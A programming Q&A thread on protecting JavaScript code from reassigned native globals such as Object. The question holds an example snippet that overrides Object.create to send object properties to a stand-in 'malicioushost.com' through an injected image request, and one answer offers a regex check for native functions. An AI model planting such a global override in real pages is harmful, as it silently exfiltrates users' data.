Reputation: 4470
First, I know, that relying on the Array
constructor is usually frowned because it can be reassigned by other code, which is not in a strict mode, and instead one should use an array literal []
, in that case he always relies on the native, real Array (there are a couple of another implications but this is the main)
But how to deal with the Object
? There are some methods (create
, freeze
etc.) which can be accessed only through the Object
identifier.
I looked to source code of AngularJS and saw, that there authors rely on an assumption that these objects (Object
, Function
) would not be reassigned, so I've concluded that there is no better way. But I would like to listen to an opinion of more experienced people.
So the question is: How to protect own code intended to be used abreast with other javascript code from reassigned global native objects?
UPDATE
My question is about security concerns. So it is about a situation where a developer cannot assume that:
Please, consider this situation as an example:
// the malicious code
var oldObj = Object,
Object = {
create: function(proto) {
var secretProps = 'http://malicioushost.com/?'
for (var prop in proto) {
secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
}
var secretImg = document.createElement('img')
secretImg.src = secretProps
document.body.appendChild(secretImg)
return oldObj.create.call(oldObj, proto)
}
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})
here Object.create behaves exactly as the original one
Appreciate it sincerely.
Upvotes: 0
Views: 96
Reputation: 536557
First, I know, that relying on the Array constructor is usually frowned because it can be reassigned by other code
Nah. The reason the Array
constructor is frowned upon is because it's unnecessarily wordier than just saying []
and the interface is confusingly inconsistent. (Specifically, new Array(x).length
is x
if x
is a Number, and 1
for any other type... ugh.)
There are some libraries that try to grab their own copies of some globals so that they still work if the host page happens to define its own variable called Object
or undefined
, but it's not watertight by any means.
How to protect own code intended to be used abreast with other javascript code from reassigned global native objects?
This is not a solvable problem. JavaScript doesn't provide sufficient tools to establish an effective security boundary. Pretty much all objects, methods and properties can be sabotaged.
(At a language level, anyway... with a browser you may be able to do something with keeping code in different contexts using cross-domain frames/sandbox, postMessage
and so on. But if the interface elements the user is interacting with happen on a compromised top-level page it's still unlikely to help much.)
Upvotes: 1
Reputation: 11568
If you need to check whether native code are in fact native and have not been overwritten you can simply check them like this before you use them:
function isFuncNative(f) {
return !!f && (typeof f).toLowerCase() == 'function'
&& (f === Function.prototype
|| /^\s*function\s*(\b[a-z$_][a-z0-9$_]*\b)*\s*\((|([a-z$_][a-z0-9$_]*)(\s*,[a-z$_][a-z0-9$_]*)*)\)\s*{\s*\[native code\]\s*}\s*$/i.test(String(f)));
}
then
if (isFuncNative(Object.create)){
// Use Object.create
} else {
alert("You naughty boy!");
}
Upvotes: 0
Reputation: 2674
I'm not sure what the language spec says, but from this I'd say probably not. However, I'd also say that if someone is messing around with your JavaScript environment in this way then you don't have a consistent enough environment to get anything worthwhile done anyway, and thus worrying about it isn't worthwhile.
var d,
origObj,
o1,
o2,
o3;
origObj = Object;
d = document.getElementById('objectorno');
d.innerHTML = Object;
o1 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o1;
Object = null;
d.innerHTML = d.innerHTML + '<br/><br/>' + Object;
o2 = {
aprop: "this is a property of an object"
};
d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;
try {
o3 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
} catch (e){
d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
}
<div id="objectorno"></div>
Upvotes: 1